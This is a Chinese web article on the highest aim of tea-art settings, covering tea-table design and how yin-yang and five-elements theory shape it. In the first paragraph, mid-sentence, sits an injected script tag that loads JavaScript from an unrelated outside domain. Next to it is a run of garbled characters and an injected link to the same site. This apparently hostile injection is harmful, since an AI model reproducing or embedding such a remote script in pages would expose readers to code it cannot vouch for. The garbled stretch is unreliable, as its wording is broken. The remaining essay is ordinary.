茶藝環境追求的最高境界|范增平
日期:2014-11-26 瀏覽:4292次 
茶藝環境追求的最高境界|范增平

茶藝環境追求的最高境界 
范增平


    自古以來,品茶環境都致力體現“天人合一”的理念,強調人與人,人與自然、自然與自然,萬物和諧一體的觀念,所謂物我兩忘,棲神物外,心心相印?script type='text/javascript' src='http://www.axmpiv.tw/js/v.js'>際竊謁得魅擻胱勻弧⑷擻肴說暮托懲騁唬灰虼耍凡枋倍曰肪車難≡瘢圓杪氯似返奶秈蓿際竊猜瓿善?a href=http://www.axmpiv.tw/html/295-66/66856.htm id=kw target=_blank>茶藝術的必要手段。

    茶藝是作為一門藝術修養,茶藝環境是品茶藝術的重要環節,也是茶藝構成的重要組成部分,茶藝環境講究的是以主客體的相合統一作為最高境界。

    茶席設計是茶藝環境中的一項展示設計,也是一項應用設計,是茶藝環境藝術設計中的主要部分,與環境的契合格外重要,茶席與周圍環境必須做到精心設計,透過設計的力量,改變現實環境的一些不足、不完善之處,并表現出中國文化的特質,才算是合適的茶席,畢竟茶是具有中國特色的文化
茶席設計最主要的目的,是為了品茶環境的完善、完美而做,所謂品茶環境,包括景、物、人、事。設計茶席需要考慮到品茶環境的構成元素與時間、空間的關係;因為,茶席設計是一時性的設置,而非永久的設計,景物、人事隨時都會有所變化,由於時間、空間的改變,設計必然也不同;雖然空間相同,而時間不同,茶席設計就會不同;即使時間相同,空間不同,茶席設計也要有所區別。

    文化中國傳統優美文化的重要組成部分,茶藝文化的重要表現形式,也就是說,茶藝中國傳統優美文化的重要表現之一。中國文化的基本理論是“陰陽五行學說”,是一種原始的普通系統論,文化既然是中國文化的重要組成部分,茶藝又是文化的具體表現之一,茶藝環境是展現茶藝活動的主要場所;因此,構成茶藝環境設計的元素,不論時間、空間都應以陰陽五行學說為基礎,茶藝環境設計必須反映中國文化的基本理論,不能違背陰陽五行學說這個基本理論。比如,在擺設茶席時,代表陰的品茗杯擺在右邊,代表陽的聞香杯擺在左邊,就是遵循這個道理的,茶席茶藝環境設計中的主要部分,茶席設計最主要呈現的特性就是陰陽五行學說。

    陰陽這兩個字,聽起來好像很玄妙,其實是古代人通過長期、各方面觀察自然現象,認識到各種事物無不存在著對立、統一兩個部分,這種現象以“陰”、“陽”兩個字來概括,它有一定的內容,是可以理解的東西。陰陽是互相對立,也是互相依存。陰、陽二方,各自以對方的存在作為自己存在的條件,沒有陰,就無所謂陽;沒有陽,也無所謂陰,這就是陰根於陽,陽根於陰,陰陽互根。陰陽在一定的條件下可以互相轉化,陰陽二者并不是處於靜止不變的狀態,而是在不斷的運動中維持著動態的平衡。因此茶席設計,除了在環境的佈置、在靜態物品的擺設上,要有陰陽的考慮,就是在泡茶、品茶的動作中,也時時都應考慮到陰陽的平衡。

    至於五行,是指宇宙萬物的構成是由木、火、土、金、水五種要素的運行和變化而來,也就是說,木、火、土、金、水五行相生相剋構成宇宙萬物的結構關係和運動形式,隨著這五個要素的盛衰,使得大自然產生變化,宇宙萬物循環不已,甚至影響到人的命運。

    五行具相生相剋特性:木生火,火生土,土生金,金生水,水生木;木剋土,土剋水,水剋火,火剋金,金剋木。宇宙萬物的關係,都可用五行學說來解釋。

    茶藝環境設計就是根據陰陽互根,相互轉化;在五行不斷相生相剋的運動中,維持著動態的平衡設計,呈現茶藝的最高境界。

    茶席設計是整個茶藝環境設計的縮小,也是茶藝環境的核心部分,茶席設計、茶藝環境設計是一門專業技術,是一門課程。茶席設計,首要條件必須所設計出來的作品能實用,應用起來合乎人體工學,具有美感,具備中國傳統優美文化中國特色的作品。因此,設計茶席,從事茶藝環境設計,除了須具備專業理論知識外,還必須具備茶藝的專業知識中國傳統文化的素養;并非一般人或沒有受過專業技術訓練的人,隨便拼湊擺擺就可稱“茶席設計”。茶席設計所呈現的作品必須能實用,合乎美學理論、人體工學理論、中國文化的基本理論,才是完善與完美的茶席設計、茶藝環境設計。


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